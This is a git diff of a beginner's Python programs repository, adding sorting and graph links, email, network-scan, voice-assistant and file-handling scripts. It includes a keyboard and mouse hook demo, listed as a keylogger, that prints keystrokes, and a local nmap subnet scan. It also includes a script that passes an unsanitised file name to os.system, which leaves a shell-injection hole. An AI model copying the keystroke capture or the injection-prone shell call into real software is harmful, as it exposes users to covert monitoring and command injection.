self.WindowProcName = WindowProcName + self.Position = Position + self.MessageName = MessageName + + def __str__(self): + return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nPosition: " + str(self.Position) + "\nMessageName: " + str(self.MessageName) + "\n" + +####################################################################### +#########################END CLASS DEF################################# +####################################################################### + +if __name__ == '__main__': + hm = HookManager() + hm.HookKeyboard() + hm.HookMouse() + hm.KeyDown = hm.printevent + hm.KeyUp = hm.printevent + hm.MouseAllButtonsDown = hm.printevent + hm.MouseAllButtonsUp = hm.printevent + hm.start() + time.sleep(10) + hm.cancel() \ No newline at end of file diff --git a/README.md b/README.md index 76c2d1d..c79a6c5 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,7 @@ # Python-Programs +[![GitHub stars](https://img.shields.io/github/stars/OmkarPathak/Python-Programs.svg)](https://github.com/OmkarPathak/Python-Programs/stargazers) +![Python](https://img.shields.io/badge/Python-3.6-brightgreen.svg) + This is my collection of Python Programs.
For python tutorials, visit my website:
http://www.omkarpathak.in @@ -16,6 +19,7 @@ Pune, Maharashtra, India.
6. [Counting Sort](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P48_CountingSort.py) 7. [Bucket Sort](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P52_BucketSort.py) 8. [Shell Sort](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P53_ShellSort.py) +9. [Heap Sort](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P66_HeapSort.py) ## Searching Algorithms @@ -26,16 +30,22 @@ Pune, Maharashtra, India.
## Data Structures 1. [Array](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P30_Array.py) + * [More on Arrays..](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Arrays) 2. [Singly Linked List](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P31_SinglyLinkedList.py) 3. [Doubly Linked List](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P33_DoublyLinkedList.py) + * [More on Linked Lists..](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Linked%20Lists) 4. [Stack](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P34_Stack.py) + * [More on Stacks..](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Stack) 5. [Queue](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P39_Queue.py) + * [More on Queues..](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Queue) +6. [Hash Table](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P78_HashTable.py) ## Simple Games in Python 1. [Number Guessing Game](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P21_GuessTheNumber.py) -2. [Hangman](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P37_Hangman.py) +2. [Hangman](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P37_HangmanGame.py) 3. [Rock Paper Scissor](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P49_RockPaperScissors.py) +4. [Tic Tac Toe](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P75_TicTacToe.py) ## OOP @@ -54,9 +64,18 @@ Pune, Maharashtra, India.
2. [Binary Search Tree](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P43_BinarySearchTree.py) 3. [Depth First Traversal](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P64_DepthFirstTraversal.py) 4. [Breadth First Traversal](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P65_BreadthFirstTraversal.py) +5. [Count Leaf Nodes](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Trees/P02_CountLeafNodes.py) +6. [Building Tree from Preorder and Inorder](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Trees/P03_TreeFromInorderAndPreorder.py) +7. [Print all the paths to leaf nodes](https://github.com/OmkarPathak/Data-Structures-using-Python/tree/master/Trees/P04_RootToLeafPaths.py) ## Graphs 1. [Graph](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P63_Graph.py) +2. [Breadth First Search](https://github.com/OmkarPathak/Data-Structures-using-Python/blob/master/Graph/P01_BreadthFirstSearch.py) +3. [Depth First Search](https://github.com/OmkarPathak/Data-Structures-using-Python/blob/master/Graph/P02_DepthFirstSearch.py) +4. [Detect Cycle in Directed Graph](https://github.com/OmkarPathak/Data-Structures-using-Python/blob/master/Graph/P03_DetectCycleInDirectedGraph.py) +5. [Detect Cycle in Undirected Graph](https://github.com/OmkarPathak/Data-Structures-using-Python/blob/master/Graph/P04_DetectCycleInUndirectedGraph.py) +6. [Topological Sort](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P68_TopologicalSort.py) +7. [Prim's Algorithm](https://github.com/OmkarPathak/Data-Structures-using-Python/blob/master/Graph/P06_Prim's-Algorithm.py) ## Scripts @@ -69,6 +88,10 @@ Pune, Maharashtra, India.
7. [Sending Mail](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P07_ScriptToSendMail.py) 8. [Counting Number of Words](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P08_CountNumberOfWords.py) 9. [Birthday Reminder](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P09_ReminderApplication.py) +10. [Script to download tutorial from tutorials point](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P10_SciptToDownloadPDF.py) +11. [Script to check email in your terminal](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P11_CheckEmail.py) +12. [Script to find devices connected to Network](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py) +13. [Script to create metadata for a file](https://github.com/OmkarPathak/Python-Programs/blob/master/Scripts/P13_Python_Create_File_With_Metadata.py) ## Python Concepts @@ -79,10 +102,22 @@ Pune, Maharashtra, India.
5. [Decorators](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P46_Decorators.py) 6. [More on Decorators](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P47_MoreOnDecorators.py) 7. [List Comprehensions](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P50_ListComprehensions.py) +8. [Python Generators](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P74_PythonGenerators.py) + +## Numpy +1. [Introduction and Basics of Numpy](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P01_Introduction.py) +2. [Numpy Data Types](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P02_NumpyDataTypes.py) +3. [Numpy Array Attributes](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P03_NumpyAttributes.py) +4. [Generate Numpy array from various numerical ranges](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P04_ArrayFromNumericalRange.py) +5. [Numpy Array Manipulation operations](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P05_NumpyArrayManipulation.py) +6. [Numpy String Functions](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P06_NumpyStringFunctions.py) +7. [Numpy Mathematical Functions](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P07_NumpyMathematicalFunctions.py) +8. [Numpy Arithmetical Operations](https://github.com/OmkarPathak/Python-Programs/blob/master/Numpy/P08_NumpyArithmeticOperations.py) ## Mini Projects * [Address Book](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P61_AddressBook.py) With Add, Modify, Search. +* [Simple Python Keylogger](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P79_SimplePythonKeylogger.py) ## Random Python Programs @@ -117,3 +152,27 @@ Rearranging of words or phrase to produce a new word or phrase, using all the or Check if the given number is a perfect number * [Pascal Triangle](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P59_PascalTriangle.py) Implementation of Pascal Triangle +* [Sieve Of Erathosthenes](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P67_SieveOfEratosthenes.py) +One of the efficient algorithms to find all the prime numbers upto n, where n can be upto 10 million +* [Reverse the words](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P69_ReverseWords.py) +Reversing the order of WORDS in a sentence +* [Python Progress bar](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P70_SimpleProgressBar.py) +A simple progress bar helpful for showing the progress of a download +* [Python unittest Module](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P71_PythonUnittest.py) +A Python module for writing test cases +* [Python Lambda Function](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P72_PythonLambda.py) +An example of Python Lambda function +* [Python Encryption example using RSA Algorithm](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P73_SimplePythonEncryption.py) +Encryption/ Decryption using RSA Algorithm +* [Python ftplib](https://github.com/OmkarPathak/Python-Programs/blob/master/Programs/P76_PythonFTP.py) +A simple Python FTP file transfer example +* [Python Django Project (beginner)](https://github.com/modernwarfareuplink/fyleBanksApi) +A simple Django Project with two endpoints to show IFSC and bank details + +# Donation + +If you have found my softwares to be of any use to you, do consider helping me pay my internet bills. This would encourage me to create many such softwares :) + +| PayPal | Donate via PayPal! | +|:-------------------------------------------:|:-------------------------------------------------------------:| +| ₹ (INR) | Donate via Instamojo | diff --git a/Scripts/P11_CheckEmail.py b/Scripts/P11_CheckEmail.py new file mode 100644 index 0000000..c7de4b7 --- /dev/null +++ b/Scripts/P11_CheckEmail.py @@ -0,0 +1,59 @@ +# Author: OMKAR PATHAK + +# This script helps to read the latest emails and entieve the contents of the selected email +# First turn on this: https://myaccount.google.com/lesssecureapps?pli=1 + +import email, getpass, imaplib, os +detach_dir = '.' # directory where to save attachments (default: current) +# user = input("Enter your Gmail Username:") +pwd = getpass.getpass("Enter your Gmail Password: ") +# connecting to the gmail imap server + +mail = imaplib.IMAP4_SSL("imap.gmail.com") +mail.login('omkarpathak.comp@mmcoe.edu.in', pwd) +mail.list() +mail.select('INBOX') # Specify from where to retrieve the email + +response, ids = mail.search(None, '(ALL)') # search all types of mails +ids = ids[0].split() +ids = ids[::-1] # getting latest emails first + +i = 0 +for emailid in ids: + i += 1 + response, data = mail.fetch(emailid, "(RFC822)") # fetching the mail + email_body = data[0][1] # getting the mail content + mailFetch = email.message_from_bytes(email_body) # parsing the mail content to get a mail object + + #Check if any attachments at all + if mailFetch.get_content_maintype() != 'multipart': + continue + + mailFetch['Subject'] = mailFetch['Subject'].replace(r'=?utf-8?q?', '') + mailFetch['Subject'] = mailFetch['Subject'].replace('_', ' ') + # print(type(mailFetch['Subject'])) + print ("["+mailFetch["From"]+"]:" + mailFetch['Subject'].replace('=?utf-8?q?', '').replace('_', ' ').replace('=3F?=', '?').replace('?=','')) + + # we use walk to create a generator so we can iterate on the parts and forget about the recursive headach + for part in mailFetch.walk(): + # multipart are just containers, so we skip them + if part.get_content_maintype() == 'multipart': + continue + + # is this part an attachment ? + if part.get('Content-Disposition') is None: + continue + + filename = mailFetch["From"] + "_hw1answer" + + att_path = os.path.join(detach_dir, filename) + + #Check if its already there + if not os.path.isfile(att_path) : + # finally write the stuff + fp = open(att_path, 'wb') + fp.write(part.get_payload(decode=True)) + fp.close() + + if (i == 10): # Get only ten latest emails + break diff --git a/Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py b/Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py new file mode 100644 index 0000000..a46e215 --- /dev/null +++ b/Scripts/P12_ScriptToFindDevicesConnectedInNetwork.py @@ -0,0 +1,22 @@ +# Author: OMKAR PATHAK + +# This script helps to find the devices (mobiles and computers) connected to my wifi + +# This script needs python-nmap as a pre-requisite. To install: sudo pip3 install python-nmap + +import nmap +import subprocess + +# function to scan network and display IPs of conected devices +def scan_network(): + scanner = nmap.PortScanner() + myIP = subprocess.check_output(['hostname -I'], shell=True) + myIP = str(myIP, 'utf-8').split('.') + print(myIP[:3]) + scannedData = scanner.scan(hosts = '.'.join(myIP[:3]) + '.1/24', arguments = '-sP') + + # printing all the IP addresses of connected devices + for hostnames in scannedData['scan']: + print(hostnames) + +scan_network() diff --git a/Scripts/P13_Python_Create_File_With_Metadata.py b/Scripts/P13_Python_Create_File_With_Metadata.py new file mode 100644 index 0000000..d0b70ad --- /dev/null +++ b/Scripts/P13_Python_Create_File_With_Metadata.py @@ -0,0 +1,36 @@ +#!/usr/bin/python3.6 +import sys, os, datetime + +def create_file(file_name): + ''' + Create a flat file based on underlying Operating System + ''' + if sys.platform == 'linux' or sys.platform == 'darwin': + os.system('touch ' + file_name) + elif sys.platform == 'win32': + os.system('echo . > ' + file_name) + +def write_data_in_file(file_name): + ''' + Write the metadata into the file + ''' + if sys.argv[3]: + if len(sys.argv[3]) <= 15: + length = 15 + else: + length = len(sys.argv[3]) + else: + length = 15 + with open(file_name, 'w') as fd: + fd.write('#' * (length + 16)) + fd.write('\n# Author: ' + sys.argv[2]) + fd.write('\n# Description: ' + sys.argv[3]) + fd.write('\n# Created at: ' + datetime.datetime.today().strftime('%d %b %Y') + '\n') + fd.write('#' * (length + 16)) + +if __name__ == '__main__': + if len(sys.argv) <= 3: + print('You need to provide three arguments [File Name] [Author Name] [Description]') + exit() + create_file(sys.argv[1]) + write_data_in_file(sys.argv[1]) \ No newline at end of file diff --git a/Scripts/P14_ScriptToPlaySongs.py b/Scripts/P14_ScriptToPlaySongs.py new file mode 100644 index 0000000..147e417 --- /dev/null +++ b/Scripts/P14_ScriptToPlaySongs.py @@ -0,0 +1,54 @@ +# This program upon execution will take your command to play music randomly. +import pyttsx3 #pip install pyttsx3 +import speech_recognition as sr #pip install speech recognition +import os +import datetime +import random + +engine = pyttsx3.init('sapi5') +voices = engine.getProperty('voices') +engine.setProperty('voice',voices[0].id) #voices[1].id for female assistant + +#speak function to speak the string passed to it. +def speak(audio): + engine.say(audio) + engine.runAndWait() +#function to listen your command and process them +def takedata(): + r= sr.Recognizer() + with sr.Microphone() as source: + print("Listening....") + audio = r.listen(source) + try: + print("Recognizing...") + query = r.recognize_google(audio,language='en-in') #language set is Indian English + print("The user said ",query) + except Exception : + print("Sorry i was unable to catch that. Please try speaking that again.") + return 'None' + return query + +def wishme(): + hours = datetime.datetime.now().hour + + if hours>=0 and hours <12: + speak("good morning") + elif hours>=12 and hours <18: + speak("good afternoon") + else: + speak("good evening") + speak("sir i am your personal assistant. tell me how can i help you ") + +wishme() +query = takedata() +if 'play music' or 'play songs' in query: + music_dir = "F:\\Songs" #put the location of the folder where you store your songs + songs = os.listdir(music_dir) + l = len(songs) + num = random.randrange(0,l,1) + os.startfile(os.path.join(music_dir,songs[num])) + speak("Thank you for using my sevices. All improvements on my github repository are welcome.") + print("www.github.com/tarun-sharma03") + exit() +else: + speak("Query type not supported") \ No newline at end of file diff --git a/Scripts/README.md b/Scripts/README.md new file mode 100644 index 0000000..5daf394 --- /dev/null +++ b/Scripts/README.md @@ -0,0 +1,22 @@ +# Some results for Scripts + +### File Organizer: Manage your downloads folder with ease + + +* [File Organizer](P05_FileOrganizer) - Results before running the script (*messy downloads folder*) +


+![File Organizer Before](Results/FolderManipulationBefore.png "Before") + +* [File Organizer](P05_FileOrganizer) - Results after running the script (*beautiful downloads folder*) +


+![File Organizer After](Results/FolderManipulationAfter.png "After") + +### Birthday Reminder: Get notified for the birthdays of you loved ones! + +* [Birthday Reminder](P09_ReminderApplication.py) - How to store your birthdays file (`reminder.data`)
+ +![Birthday Reminder](Results/BirthdayReminder.png "Birthdays") + +* [Birthday Reminder](P09_ReminderApplication.py) - How you get the notifications
+ +![Birthday Reminder](Results/BirthdayReminderResult.png "Birthdays") diff --git a/Scripts/Results/BirthdayReminder.png b/Scripts/Results/BirthdayReminder.png new file mode 100644 index 0000000..b09c2e0 Binary files /dev/null and b/Scripts/Results/BirthdayReminder.png differ diff --git a/Scripts/Results/BirthdayReminderResult.png b/Scripts/Results/BirthdayReminderResult.png new file mode 100644 index 0000000..c7854a2 Binary files /dev/null and b/Scripts/Results/BirthdayReminderResult.png differ diff --git a/Scripts/Results/FolderManipulationAfter.png b/Scripts/Results/FolderManipulationAfter.png new file mode 100644 index 0000000..c1d9747 Binary files /dev/null and b/Scripts/Results/FolderManipulationAfter.png differ diff --git a/Scripts/Results/FolderManipulationBefore.png b/Scripts/Results/FolderManipulationBefore.png new file mode 100644 index 0000000..16e8ad7 Binary files /dev/null and b/Scripts/Results/FolderManipulationBefore.png differ diff --git a/Untitled (1).py b/Untitled (1).py new file mode 100644 index 0000000..318a38e --- /dev/null +++ b/Untitled (1).py @@ -0,0 +1,174 @@ +#!/usr/bin/env python +# coding: utf-8 + +# # File Handling using Python + +# In[1]: + + +# open(filename, mode) + +# r - reading +# w - writing +# a - appending + + +# In[7]: + + +file = open('social.txt', 'r') +data = file.read() + +# if for + +file.close() + +print(file.closed) + + +# In[11]: + + +# context manager + +with open('social.txt', 'r') as file: + data = file.read() + +print(file.closed) + + +# In[15]: + + +with open('something.txt', 'a') as file: + file.write('MMCOE - yethe bahutanche hith!') + + +# In[18]: + + +with open('social.txt', 'r') as fd: + data = fd.read(6) # how many bytes or characters you have to read + +print(data) + + +# In[21]: + + +import os + +print(os.getcwd()) + + +# In[22]: + + +print('Original Directory:', os.getcwd()) +os.chdir('/home/omkarpathak/Documents/Notebooks') +print('Current Directory:', os.getcwd()) + + +# In[24]: + + +print(os.listdir()) + + +# In[30]: + + +files = [] + +files = os.listdir() + +# os.path.isfile(filename) # return True is it is a file, else it returns False + +for file in files: + if os.path.isfile(os.path.abspath(file)): + print('File:', file) + +for file in files: + if os.path.isdir(os.path.abspath(file)): + print('Dir:', file) + + +# In[68]: + + +os.chdir('/home/omkarpathak/Documents/PythonLecture/Naruto/Directory0') + +for i in range(10): + os.mkdir('Directory' + str(i) + str(i)) # creating a folder + os.chdir('Directory' + str(i) + str(i)) # Directory0 -> Directory1 + with open('something.txt', 'w') as file: + file.write('Text') + os.chdir('/home/omkarpathak/Documents/PythonLecture/Naruto/Directory0') + + +# In[47]: + + +os.chdir('/home/omkarpathak/Documents/PythonLecture/') + + +# In[44]: + + +mylist = ['omkar', 1, 3, 4.0] +print(mylist) + + +# In[53]: + + +word_to_check = 'hilarious' + +with open('social.txt', 'r') as file: + data = file.read() + +for line in data.split('\n'): + if word_to_check in line: + print('True') + print(line) + +print(len(data.split('\n'))) + + +# In[72]: + + +os.chdir('/home/omkarpathak/Documents/PythonLecture') +with open('social.txt', 'r') as file: + data = file.read() + +char = 'M' +# print(data.lower()) +print(data.lower().count(char.lower())) + + +# In[60]: + + +with open('social.txt', 'r') as file: + data = file.read() + +char = input('Enter a character of your choice:') + +print(data.lower().count(char)) + + +# In[76]: + + +string = 'My namename is Omkar' +print(string.count('name')) # fuzzy search + + +# In[ ]: + + +import numpy +import scipy +import matplotlib +